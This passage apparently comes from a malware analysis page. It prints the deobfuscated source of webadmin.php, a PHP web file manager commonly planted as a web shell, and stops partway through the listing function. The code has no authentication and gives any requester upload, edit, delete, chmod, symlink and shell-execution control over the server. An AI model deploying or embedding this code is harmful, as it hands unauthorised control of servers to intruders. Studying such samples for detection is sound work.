PHP Malware Analysis

webadmin.php

md5: 26810d06734beeab359d0faee10ab9fb

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<?php

/*
 * webadmin.php - a simple Web-based file manager
 * Copyright (C) 2004-2011  Daniel Wacker [daniel dot wacker at web dot de]
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
 * -------------------------------------------------------------------------
 * While using this script, do NOT navigate with your browser's back and
 * forward buttons! Always open files in a new browser tab!
 * -------------------------------------------------------------------------
 *
 * This is Version 0.9, revision 12
 * =========================================================================
 *
 * Changes of revision 12
 * [bhb at o2 dot pl]
 *    added Polish translation
 * [daniel dot wacker at web dot de]
 *    switched to UTF-8
 *    fixed undefined variable
 *
 * Changes of revision 11
 * [daniel dot wacker at web dot de]
 *    fixed handling if folder isn't readable
 *
 * Changes of revision 10
 * [alex dash smirnov at web.de]
 *    added Russian translation
 * [daniel dot wacker at web dot de]
 *    added </td> to achieve valid XHTML (thanks to Marc Magos)
 *    improved delete function
 * [ava at asl dot se]
 *    new list order: folders first
 *
 * Changes of revision 9
 * [daniel dot wacker at web dot de]
 *    added workaround for directory listing, if lstat() is disabled
 *    fixed permisson of uploaded files (thanks to Stephan Duffner)
 *
 * Changes of revision 8
 * [okankan at stud dot sdu dot edu dot tr]
 *    added Turkish translation
 * [j at kub dot cz]
 *    added Czech translation
 * [daniel dot wacker at web dot de]
 *    improved charset handling
 *
 * Changes of revision 7
 * [szuniga at vtr dot net]
 *    added Spanish translation
 * [lars at soelgaard dot net]
 *    added Danish translation
 * [daniel dot wacker at web dot de]
 *    improved rename dialog
 *
 * Changes of revision 6
 * [nederkoorn at tiscali dot nl]
 *    added Dutch translation
 *
 * Changes of revision 5
 * [daniel dot wacker at web dot de]
 *    added language auto select
 *    fixed symlinks in directory listing
 *    removed word-wrap in edit textarea
 *
 * Changes of revision 4
 * [daloan at guideo dot fr]
 *    added French translation
 * [anders at wiik dot cc]
 *    added Swedish translation
 *
 * Changes of revision 3
 * [nzunta at gabriele dash erba dot it]
 *    improved Italian translation
 *
 * Changes of revision 2
 * [daniel dot wacker at web dot de]
 *    got images work in some old browsers
 *    fixed creation of directories
 *    fixed files deletion
 *    improved path handling
 *    added missing word 'not_created'
 * [till at tuxen dot de]
 *    improved human readability of file sizes
 * [nzunta at gabriele dash erba dot it]
 *    added Italian translation
 *
 * Changes of revision 1
 * [daniel dot wacker at web dot de]
 *    webadmin.php completely rewritten:
 *    - clean XHTML/CSS output
 *    - several files selectable
 *    - support for windows servers
 *    - no more treeview, because
 *      - webadmin.php is a >simple< file manager
 *      - performance problems (too much additional code)
 *      - I don't like: frames, java-script, to reload after every treeview-click
 *    - execution of shell scripts
 *    - introduced revision numbers
 *
/* ------------------------------------------------------------------------- */
/* Your language:
 * 'en' - English
 * 'de' - German
 * 'fr' - French
 * 'it' - Italian
 * 'nl' - Dutch
 * 'se' - Swedish
 * 'sp' - Spanish
 * 'dk' - Danish
 * 'tr' - Turkish
 * 'cs' - Czech
 * 'ru' - Russian
 * 'pl' - Polish
 * 'auto' - autoselect
 */
$lang = 'auto';
/* Homedir:
 * For example: './' - the script's directory
 */
$homedir = './';
/* Size of the edit textarea
 */
$editcols = 80;
$editrows = 25;
/* -------------------------------------------
 * Optional configuration (remove # to enable)
 */
/* Permission of created directories:
 * For example: 0705 would be 'drwx---r-x'.
 */
# $dirpermission = 0705;
/* Permission of created files:
 * For example: 0604 would be '-rw----r--'.
 */
# $filepermission = 0604;
/* Filenames related to the apache web server:
 */
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';
/* ------------------------------------------------------------------------- */
if (get_magic_quotes_gpc()) {
    array_walk($_GET, 'strip');
    array_walk($_POST, 'strip');
    array_walk($_REQUEST, 'strip');
}
if (array_key_exists('image', $_GET)) {
    header('Content-Type: image/gif');
    die(getimage($_GET['image']));
}
if (!function_exists('lstat')) {
    function lstat($filename)
    {
        return stat($filename);
    }
}
$delim = DIRECTORY_SEPARATOR;
if (function_exists('php_uname')) {
    $win = false;
} else {
    $win = false;
}
if (!empty($_SERVER['PATH_TRANSLATED'])) {
    $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
    $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
    $scriptdir = getcwd();
} else {
    $scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);
$dir = array_key_exists('dir', $_REQUEST) ? $_REQUEST['dir'] : $homedir;
if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
    $dir = relative2absolute($dir, $_POST['olddir']);
}
$directory = simplify_path(addslash($dir));
$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
    $action = $_POST['action_all'];
    for ($i = 0; $i < $_POST['num']; $i++) {
        if (array_key_exists("checked{$i}", $_POST) && $_POST["checked{$i}"] == 'true') {
            $files[] = $_POST["file{$i}"];
        }
    }
} elseif (!empty($_REQUEST['action'])) {
    $action = $_REQUEST['action'];
    $files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
    $files[] = $_FILES['upload'];
    $action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
    for ($i = 0; $i < $_POST['num']; $i++) {
        if (array_key_exists("submit{$i}", $_POST)) {
            break;
        }
    }
    if ($i < $_POST['num']) {
        $action = $_POST["action{$i}"];
        $files[] = $_POST["file{$i}"];
    }
}
if (empty($action) && (!empty($_POST['submit_create']) || array_key_exists('focus', $_POST) && $_POST['focus'] == 'create') && !empty($_POST['create_name'])) {
    $files[] = relative2absolute($_POST['create_name'], $directory);
    switch ($_POST['create_type']) {
        case 'directory':
            $action = 'create_directory';
            break;
        case 'file':
            $action = 'create_file';
    }
}
if (sizeof($files) == 0) {
    $action = '';
} else {
    $file = reset($files);
}
if ($lang == 'auto') {
    if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
        $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
    } else {
        $lang = 'en';
    }
}
$words = getwords($lang);
if ($site_charset == 'auto') {
    $site_charset = $word_charset;
}
$cols = $win ? 4 : 7;
if (!isset($dirpermission)) {
    $dirpermission = function_exists('umask') ? 0777 & ~umask() : 0755;
}
if (!isset($filepermission)) {
    $filepermission = function_exists('umask') ? 0666 & ~umask() : 0644;
}
if (!empty($_SERVER['SCRIPT_NAME'])) {
    $self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
    $self = html(basename($_SERVER['PHP_SELF']));
} else {
    $self = '';
}
if (!empty($_SERVER['SERVER_SOFTWARE'])) {
    if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
        $apache = true;
    } else {
        $apache = false;
    }
} else {
    $apache = true;
}
switch ($action) {
    case 'view':
        if (is_script($file)) {
            /* highlight_file is a mess! */
            ob_start();
            highlight_file($file);
            $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \\1">', ob_get_contents());
            $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
            ob_end_clean();
            html_header();
            echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';
            for ($i = 1; $i <= sizeof(file($file)); $i++) {
                echo "{$i}\n";
            }
            echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';
            html_footer();
        } else {
            header('Content-Type: ' . getmimetype($file));
            header('Content-Disposition: filename=' . basename($file));
            readfile($file);
        }
        break;
    case 'download':
        header('Pragma: public');
        header('Expires: 0');
        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
        header('Content-Type: ' . getmimetype($file));
        header('Content-Disposition: attachment; filename=' . basename($file) . ';');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        break;
    case 'upload':
        $dest = relative2absolute($file['name'], $directory);
        if (@file_exists($dest)) {
            listing_page(error('already_exists', $dest));
        } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
            @chmod($dest, $filepermission);
            listing_page(notice('uploaded', $file['name']));
        } else {
            listing_page(error('not_uploaded', $file['name']));
        }
        break;
    case 'create_directory':
        if (@file_exists($file)) {
            listing_page(error('already_exists', $file));
        } else {
            $old = @umask(0777 & ~$dirpermission);
            if (@mkdir($file, $dirpermission)) {
                listing_page(notice('created', $file));
            } else {
                listing_page(error('not_created', $file));
            }
            @umask($old);
        }
        break;
    case 'create_file':
        if (@file_exists($file)) {
            listing_page(error('already_exists', $file));
        } else {
            $old = @umask(0777 & ~$filepermission);
            if (@touch($file)) {
                edit($file);
            } else {
                listing_page(error('not_created', $file));
            }
            @umask($old);
        }
        break;
    case 'execute':
        chdir(dirname($file));
        $output = array();
        $retval = 0;
        exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
        $error = false;
        if (sizeof($output) == 0) {
            $output = array('<' . $words['no_output'] . '>');
        }
        if ($error) {
            listing_page(error('not_executed', $file, implode("\n", $output)));
        } else {
            listing_page(notice('executed', $file, implode("\n", $output)));
        }
        break;
    case 'delete':
        if (!empty($_POST['no'])) {
            listing_page();
        } elseif (!empty($_POST['yes'])) {
            $failure = array();
            $success = array();
            foreach ($files as $file) {
                if (del($file)) {
                    $success[] = $file;
                } else {
                    $failure[] = $file;
                }
            }
            $message = '';
            if (sizeof($failure) > 0) {
                $message = error('not_deleted', implode("\n", $failure));
            }
            if (sizeof($success) > 0) {
                $message .= notice('deleted', implode("\n", $success));
            }
            listing_page($message);
        } else {
            html_header();
            echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
            request_dump();
            echo "\t<b>" . word('really_delete') . '</b>
	<p>
';
            foreach ($files as $file) {
                echo "\t" . html($file) . "<br />\n";
            }
            echo '	</p>
	<hr />
	<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';
            html_footer();
        }
        break;
    case 'rename':
        if (!empty($_POST['destination'])) {
            $dest = relative2absolute($_POST['destination'], $directory);
            if (!@file_exists($dest) && @rename($file, $dest)) {
                listing_page(notice('renamed', $file, $dest));
            } else {
                listing_page(error('not_renamed', $file, $dest));
            }
        } else {
            $name = basename($file);
            html_header();
            echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
	<input type="hidden" name="action" value="rename" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<b>' . word('rename_file') . '</b>
	<p>' . html($file) . '</p>
	<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
	<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
	<hr />
	<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    case 'move':
        if (!empty($_POST['destination'])) {
            $dest = relative2absolute($_POST['destination'], $directory);
            $failure = array();
            $success = array();
            foreach ($files as $file) {
                $filename = substr($file, strlen($directory));
                $d = $dest . $filename;
                if (!@file_exists($d) && @rename($file, $d)) {
                    $success[] = $file;
                } else {
                    $failure[] = $file;
                }
            }
            $message = '';
            if (sizeof($failure) > 0) {
                $message = error('not_moved', implode("\n", $failure), $dest);
            }
            if (sizeof($success) > 0) {
                $message .= notice('moved', implode("\n", $success), $dest);
            }
            listing_page($message);
        } else {
            html_header();
            echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';
            request_dump();
            echo "\t<b>" . word('move_files') . '</b>
	<p>
';
            foreach ($files as $file) {
                echo "\t" . html($file) . "<br />\n";
            }
            echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    case 'copy':
        if (!empty($_POST['destination'])) {
            $dest = relative2absolute($_POST['destination'], $directory);
            if (@is_dir($dest)) {
                $failure = array();
                $success = array();
                foreach ($files as $file) {
                    $filename = substr($file, strlen($directory));
                    $d = addslash($dest) . $filename;
                    if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
                        $success[] = $file;
                    } else {
                        $failure[] = $file;
                    }
                }
                $message = '';
                if (sizeof($failure) > 0) {
                    $message = error('not_copied', implode("\n", $failure), $dest);
                }
                if (sizeof($success) > 0) {
                    $message .= notice('copied', implode("\n", $success), $dest);
                }
                listing_page($message);
            } else {
                if (!@file_exists($dest) && @copy($file, $dest)) {
                    listing_page(notice('copied', $file, $dest));
                } else {
                    listing_page(error('not_copied', $file, $dest));
                }
            }
        } else {
            html_header();
            echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';
            request_dump();
            echo "\n<b>" . word('copy_files') . '</b>
	<p>
';
            foreach ($files as $file) {
                echo "\t" . html($file) . "<br />\n";
            }
            echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    case 'create_symlink':
        if (!empty($_POST['destination'])) {
            $dest = relative2absolute($_POST['destination'], $directory);
            if (substr($dest, -1, 1) == $delim) {
                $dest .= basename($file);
            }
            if (!empty($_POST['relative'])) {
                $file = absolute2relative(addslash(dirname($dest)), $file);
            }
            if (!@file_exists($dest) && @symlink($file, $dest)) {
                listing_page(notice('symlinked', $file, $dest));
            } else {
                listing_page(error('not_symlinked', $file, $dest));
            }
        } else {
            html_header();
            echo '<form action="' . $self . '" method="post">

<table class="dialog" id="symlink">
<tr>
	<td style="vertical-align: top">' . word('destination') . ': </td>
	<td>
		<b>' . html($file) . '</b><br />
		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
		<label for="checkbox_relative">' . word('relative') . '</label>
		<input type="hidden" name="action" value="create_symlink" />
		<input type="hidden" name="file" value="' . html($file) . '" />
		<input type="hidden" name="dir" value="' . html($directory) . '" />
	</td>
</tr>
<tr>
	<td>' . word('symlink') . ': </td>
	<td>
		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
		<input type="submit" value="' . word('create_symlink') . '" />
	</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    case 'edit':
        if (!empty($_POST['save'])) {
            $content = str_replace("\r\n", "\n", $_POST['content']);
            if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
                listing_page(notice('saved', $file));
            } else {
                listing_page(error('not_saved', $file));
            }
        } else {
            if (@is_readable($file) && @is_writable($file)) {
                edit($file);
            } else {
                listing_page(error('not_edited', $file));
            }
        }
        break;
    case 'permission':
        if (!empty($_POST['set'])) {
            $mode = 0;
            if (!empty($_POST['ur'])) {
                $mode = 256;
            }
            if (!empty($_POST['uw'])) {
                $mode |= 0200;
            }
            if (!empty($_POST['ux'])) {
                $mode |= 0100;
            }
            if (!empty($_POST['gr'])) {
                $mode |= 040;
            }
            if (!empty($_POST['gw'])) {
                $mode |= 020;
            }
            if (!empty($_POST['gx'])) {
                $mode |= 010;
            }
            if (!empty($_POST['or'])) {
                $mode |= 04;
            }
            if (!empty($_POST['ow'])) {
                $mode |= 02;
            }
            if (!empty($_POST['ox'])) {
                $mode |= 01;
            }
            if (@chmod($file, $mode)) {
                listing_page(notice('permission_set', $file, decoct($mode)));
            } else {
                listing_page(error('permission_not_set', $file, decoct($mode)));
            }
        } else {
            html_header();
            $mode = fileperms($file);
            echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>

	<hr />

	<table id="permission">
	<tr>
		<td></td>
		<td style="border-right: 1px solid black">' . word('owner') . '</td>
		<td style="border-right: 1px solid black">' . word('group') . '</td>
		<td>' . word('other') . '</td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('read') . ':</td>
		<td><input type="checkbox" name="ur" value="1"';
            if ($mode & 0400) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gr\" value=\"1\"";
            if ($mode & 040) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"or\" value=\"1\"";
            if ($mode & 04) {
                echo " checked=\"checked\"";
            }
            echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('write') . ':</td>
		<td><input type="checkbox" name="uw" value="1"';
            if ($mode & 0200) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gw\" value=\"1\"";
            if ($mode & 020) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"ow\" value=\"1\"";
            if ($mode & 02) {
                echo " checked=\"checked\"";
            }
            echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('execute') . ':</td>
		<td><input type="checkbox" name="ux" value="1"';
            if ($mode & 0100) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gx\" value=\"1\"";
            if ($mode & 010) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"ox\" value=\"1\"";
            if ($mode & 01) {
                echo " checked=\"checked\"";
            }
            echo ' /></td>
	</tr>
	</table>

	<hr />

	<input type="submit" name="set" value="' . word('set') . '" />

	<input type="hidden" name="action" value="permission" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    default:
        listing_page();
}
/* ------------------------------------------------------------------------- */
function getlist($directory)
{
    global $delim, $win;
    if ($d = @opendir($directory)) {
        while (($filename = @readdir($d)) !== false) {
            $path = $directory . $filename;
            if ($stat = @lstat($path)) {
                $file = array('filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path));
                if ($file['is_dir']) {
                    $file['is_executable'] = @file_exists($path . $delim . '.');
                } else {
                    if (!$win) {
                        $file['is_executable'] = @is_executable($path);
                    } else {
                        $file['is_executable'] = true;
                    }
                }
                if ($file['is_link']) {
                    $file['target'] = @readlink($path);
                }
                if (function_exists('posix_getpwuid')) {
                    $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
                }
                if (function_exists('posix_getgrgid')) {
                    $file['group_name'] = @reset(posix_getgrgid($file['group']));
                }
                $files[] = $file;
            }
        }
        return $files;
    } else {
        return false;
    }
}
function sortlist($list, $key, $reverse)
{
    $dirs = array();
    $files = array();
    for ($i = 0; $i < sizeof($list); $i++) {
        if ($list[$i]['is_dir']) {
            $dirs[] = $list[$i];
        } else {
            $files[] = $list[$i];
        }
    }
    quicksort($dirs, 0, sizeof($dirs) - 1, $key);
    if ($reverse) {
        $dirs = array_reverse($dirs);
    }
    quicksort($files, 0, sizeof($files) - 1, $key);
    if ($reverse) {
        $files = array_reverse($files);
    }
    return array_merge($dirs, $files);
}
function quicksort(&$array, $first, $last, $key)
{
    if ($first < $last) {
        $cmp = $array[floor(($first + $last) / 2)][$key];
        $l = $first;
        $r = $last;
        while ($l <= $r) {
            while ($array[$l][$key] < $cmp) {
                $l++;
            }
            while ($array[$r][$key] > $cmp) {
                $r--;
            }
            if ($l <= $r) {
                $tmp = $array[$l];
                $array[$l] = $array[$r];
                $array[$r] = $tmp;
                $l++;
                $r--;
            }
        }
        quicksort($array, $first, $r, $key);
        quicksort($array, $l, $last, $key);
    }
}
function permission_octal2string($mode)
{
    if (($mode & 0xc000) === 0xc000) {
        $type = 's';
    } elseif (($mode & 0xa000) === 0xa000) {
        $type = 'l';
    } elseif (($mode & 0x8000) === 0x8000) {
        $type = '-';
    } elseif (($mode & 0x6000) === 0x6000) {
        $type = 'b';
    } elseif (($mode & 0x4000) === 0x4000) {
        $type = 'd';
    } elseif (($mode & 0x2000) === 0x2000) {
        $type = 'c';
    } elseif (($mode & 0x1000) === 0x1000) {
        $type = 'p';
    } else {
        $type = '?';
    }
    $owner = $mode & 0400 ? 'r' : '-';
    $owner .= $mode & 0200 ? 'w' : '-';
    if ($mode & 0x800) {
        $owner .= $mode & 0100 ? 's' : 'S';
    } else {
        $owner .= $mode & 0100 ? 'x' : '-';
    }
    $group = $mode & 040 ? 'r' : '-';
    $group .= $mode & 020 ? 'w' : '-';
    if ($mode & 0x400) {
        $group .= $mode & 010 ? 's' : 'S';
    } else {
        $group .= $mode & 010 ? 'x' : '-';
    }
    $other = $mode & 04 ? 'r' : '-';
    $other .= $mode & 02 ? 'w' : '-';
    if ($mode & 0x200) {
        $other .= $mode & 01 ? 't' : 'T';
    } else {
        $other .= $mode & 01 ? 'x' : '-';
    }
    return $type . $owner . $group . $other;
}
function is_script($filename)
{
    return ereg('\\.php$|\\.php3$|\\.php4$|\\.php5$', $filename);
}
function getmimetype($filename)
{
    static $mimes = array('\\.jpg$|\\.jpeg$' => 'image/jpeg', '\\.gif$' => 'image/gif', '\\.png$' => 'image/png', '\\.html$|\\.html$' => 'text/html', '\\.txt$|\\.asc$' => 'text/plain', '\\.xml$|\\.xsl$' => 'application/xml', '\\.pdf$' => 'application/pdf');
    foreach ($mimes as $regex => $mime) {
        if (eregi($regex, $filename)) {
            return $mime;
        }
    }
    return "text/plain";
}
function del($file)
{
    global $delim;
    if (!file_exists($file)) {
        return false;
    }
    if (@is_dir($file) && !@is_link($file)) {
        $success = false;
        if (@rmdir($file)) {
            $success = true;
        } elseif ($dir = @opendir($file)) {
            $success = true;
            while (($f = readdir($dir)) !== false) {
                if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
                    $success = false;
                }
            }
            closedir($dir);
            if ($success) {
                $success = @rmdir($file);
            }
        }
        return $success;
    }
    return @unlink($file);
}
function addslash($directory)
{
    global $delim;
    if (substr($directory, -1, 1) != $delim) {
        return $directory . $delim;
    } else {
        return $directory;
    }
}
function relative2absolute($string, $directory)
{
    if (path_is_relative($string)) {
        return simplify_path(addslash($directory) . $string);
    } else {
        return simplify_path($string);
    }
}
function path_is_relative($path)
{
    global $win;
    if ($win) {
        return substr($path, 1, 1) != ':';
    } else {
        return substr($path, 0, 1) != '/';
    }
}
function absolute2relative($directory, $target)
{
    global $delim;
    $path = '';
    while ($directory != $target) {
        if ($directory == substr($target, 0, strlen($directory))) {
            $path .= substr($target, strlen($directory));
            break;
        } else {
            $path .= '..' . $delim;
            $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
        }
    }
    if ($path == '') {
        $path = '.';
    }
    return $path;
}
function simplify_path($path)
{
    global $delim;
    if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
        $path = realpath($path);
        if (@is_dir($path)) {
            return addslash($path);
        } else {
            return $path;
        }
    }
    $pattern = $delim . '.' . $delim;
    if (@is_dir($path)) {
        $path = addslash($path);
    }
    while (strpos($path, $pattern) !== false) {
        $path = str_replace($pattern, $delim, $path);
    }
    $e = addslashes($delim);
    $regex = $e . '((\\.[^\\.' . $e . '][^' . $e . ']*)|(\\.\\.[^' . $e . ']+)|([^\\.][^' . $e . ']*))' . $e . '\\.\\.' . $e;
    while (ereg($regex, $path)) {
        $path = ereg_replace($regex, $delim, $path);
    }
    return $path;
}
function human_filesize($filesize)
{
    $suffices = 'kMGTPE';
    $n = 0;
    while ($filesize >= 1000) {
        $filesize /= 1024;
        $n++;
    }
    $filesize = round($filesize, 3 - strpos($filesize, '.'));
    if (strpos($filesize, '.') !== false) {
        while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
            $filesize = substr($filesize, 0, strlen($filesize) - 1);
        }
    }
    $suffix = $n == 0 ? '' : substr($suffices, $n - 1, 1);
    return $filesize . " {$suffix}B";
}
function strip(&$str)
{
    $str = stripslashes($str);
}
/* ------------------------------------------------------------------------- */
function listing_page($message = null)
{
    global $self, $directory, $sort, $reverse;
    html_header();
    $list = getlist($directory);
    if (array_key_exists('sort', $_GET)) {
        $sort = $_GET['sort'];
    } else {
        $sort = 'filename';
    }
    if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') {
        $reverse = true;
    } else {
        $reverse = false;
    }
    echo '<h1 style="margin-bottom: 0">webadmin.php</h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table id="main">
';
    directory_choice();
    if (!empty($message)) {
        spacer();
        echo $message;
    }
    if (@is_writable($directory)) {
        upload_box();
        create_box();
    } else {
        spacer();
    }
    if ($list) {
        $list = sortlist($list, $sort, $reverse);
        listing($list);
    } else {
        echo error('not_readable', $directory);
    }
    echo "</table>\n\n</form>\n\n";
    html_footer();
}
function listing($list)
{
    global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
    echo '<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';
    column_title('filename', $sort, $reverse);
    column_title('size', $sort, $reverse);
    if (!$win) {
        column_title('permission', $sort, $reverse);
        column_title('owner', $sort, $reverse);
        column_title('group', $sort, $reverse);
    }
    echo '	<th class="functions">' . word('functions') . '</th>
</tr>
';
    for ($i = 0; $i < sizeof($list); $i++) {
        $file = $list[$i];
        $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
        $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
        $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
        echo '<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
	<td class="filename" title="' . html($timestamps) . '">';
        if ($file['is_link']) {
            echo '<img src="' . $self . '?image=link" alt="link" /> ';
            echo html($file['filename']) . ' &rarr; ';
            $real_file = relative2absolute($file['target'], $directory);
            if (@is_readable($real_file)) {
                if (@is_dir($real_file)) {
                    echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
                } else {
                    echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
                }
            } else {
                echo html($file['target']);
            }
        } elseif ($file['is_dir']) {
            echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
            if ($win || $file['is_executable']) {
                echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
            } else {
                echo html($file['filename']);
            }
            echo " ]";
        } else {
            if (substr($file['filename'], 0, 1) == '.') {
                echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
            } else {
                echo '<img src="' . $self . '?image=file" alt="file" /> ';
            }
            if ($file['is_file'] && $file['is_readable']) {
                echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
            } else {
                echo html($file['filename']);
            }
        }
        if ($file['size'] >= 1000) {
            $human = ' title="' . human_filesize($file['size']) . '"';
        } else {
            $human = '';
        }
        echo "</td>\n";
        echo "\t<td class=\"size\"{$human}>{$file['size']} B</td>\n";
        if (!$win) {
            echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
            $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
            if ($l) {
                echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
            }
            echo html(permission_octal2string($file['permission']));
            if ($l) {
                echo "</a>";
            }
            echo "</td>\n";
            if (array_key_exists('owner_name', $file)) {
                echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
            } else {
                echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
            }
            if (array_key_exists('group_name', $file)) {
                echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
            } else {
                echo "\t<td class=\"group\">{$file['group']}</td>\n";
            }
        }
        echo '	<td class="functions">
